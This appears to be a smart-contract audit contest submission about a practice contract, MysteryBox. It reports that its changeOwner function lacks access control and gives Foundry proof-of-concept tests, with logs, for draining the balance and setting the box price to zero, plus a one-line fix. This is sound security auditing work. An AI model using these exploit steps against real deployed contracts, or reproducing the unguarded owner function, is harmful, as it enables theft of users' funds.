Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted ownership change allows full withdrawal, draining contract funds

phylax

Summary

Anyone can invoke the MysteryBox::changeOwner function to assume ownership of the contract, which would then allow them to execute the MysteryBox::withdrawFunds function and drain the contract’s balance.

Impact

A malicious user could exploit the contract to steal all funds.

Vulnerability Details

Here is how to exploit the contract:

  1. A attacker takes ownership of the contract through passing their own address in MysteryBox::changeOwner function.

  2. Then the attacker can call MysteryBox::withdrawFunds function bypassing the require(msg.sender == owner, "Only owner can withdraw"); and withdrawing the funds.

Add the code below to the test suit.

address public attacker;
​
function testChangeOwnerAndWithdrawFunds() public {
vm.deal(user1, newBalance);
vm.deal(user2, newBalance);
​
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
​
vm.prank(user2);
mysteryBox.buyBox{value: 0.1 ether}();
​
console.log("Balance of MysteryBox before attack: ", address(mysteryBox).balance);
​
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
​
console.log("Balance of MysteryBox after attack: ", address(mysteryBox).balance);
console.log("Balance of Attacker after attack: ", attacker.balance);
​
assert(address(mysteryBox).balance == 0);
}

Before the attack there is 0.3 ether in the contract from the seed value and two mystery box purchases. After the attack there is 0 ether in contract.

Logs:
Balance of MysteryBox before attack: 300000000000000000
Balance of MysteryBox after attack: 0
Balance of Attacker after attack: 300000000000000000

There is another exploit scenario where a maliciuos user can take ownership of contract and set price to zero and buy mystery boxes for free.

  1. A attacker takes ownership of the contract through passing their own address in MysteryBox::changeOwner function.

  2. Then the attacker sets the mystery box price to zero by calling setBoxPrice with 0 as parameter.

  3. After that anybody can buy as many boxes as they want for free.

function testChangeOwnerAndSetPriceToZero() public {
vm.deal(attacker, newBalance);
​
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
uint256 _price = 0;
mysteryBox.setBoxPrice(_price);
console.log("Balance of attacker before buying box: ", attacker.balance);
uint256 balanceBefore = address(attacker).balance;
mysteryBox.buyBox();
mysteryBox.buyBox();
mysteryBox.buyBox();
console.log("Balance of attacker after buying box: ", attacker.balance);
uint256 balanceAfter = address(attacker).balance;
vm.stopPrank();
​
assert(balanceBefore == balanceAfter);
}

Tools Used

Manual code review

Recommendations

A way to mitigate this vulnerability is to have proper access control on the MysteryBox::changeOwner function.

function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only owner can transfer ownership");
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!